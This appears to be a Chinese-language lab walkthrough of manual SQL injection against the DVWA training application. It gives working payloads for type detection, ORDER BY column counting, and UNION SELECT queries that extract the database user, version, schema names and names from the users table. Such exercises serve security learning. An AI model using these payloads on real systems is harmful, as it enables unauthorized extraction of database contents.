DVWA之php+mysql手工注入

DVWA 页面
DVWA之php+mysql手工注入

输入user ID ,输入 1。看到如下信息

DVWA之php+mysql手工注入

在此点尝试注入,输入‘ ’ ’,判断其注入类型。
DVWA之php+mysql手工注入

初步判断是数字型注入,在输入 " 1 or 1=1 ",尝试遍历数据表
DVWA之php+mysql手工注入

判断字符型:" 1’ or ‘1’='1 "

DVWA之php+mysql手工注入

利用 order by num 来测试查询表的列, 输入: " 1’ order by 1 – "(–后有空格)或者 " 1’ order by 1 ## "
DVWA之php+mysql手工注入
DVWA之php+mysql手工注入

当为2时正确显示,为3时错误,我们判断有2列

在mysql中

user ( )  : 	当前登陆的用户
database ( ) :	当前数据库名
version ( ):	数据库版本

用union联合查询,查询其信息。注入语法: " 1’ and 1=2 union select user(), database() – "(–后有空格)
DVWA之php+mysql手工注入

DVWA之php+mysql手工注入
DVWA之php+mysql手工注入

用SQL中的全局变量 " @@global.version_compile_os "来获得操作系统的信息
DVWA之php+mysql手工注入

查询mysql数据库所有的数据库名字。语法: " 1’ and 1=1 union select 1,schema_name from information_schema.schemata – "

DVWA之php+mysql手工注入

然后通过手工注入猜解dvwa数据库表名,语法: " 1’ and exists(select * from users) – "

DVWA之php+mysql手工注入

再猜解字段名,语法: " 1’ and exists(select first_name from users) – "
DVWA之php+mysql手工注入

DVWA之php+mysql手工注入

尝试显示这两个字段的内容,语法:" 1 ’ and 1=1 union select first_name,last_name from users – "

DVWA之php+mysql手工注入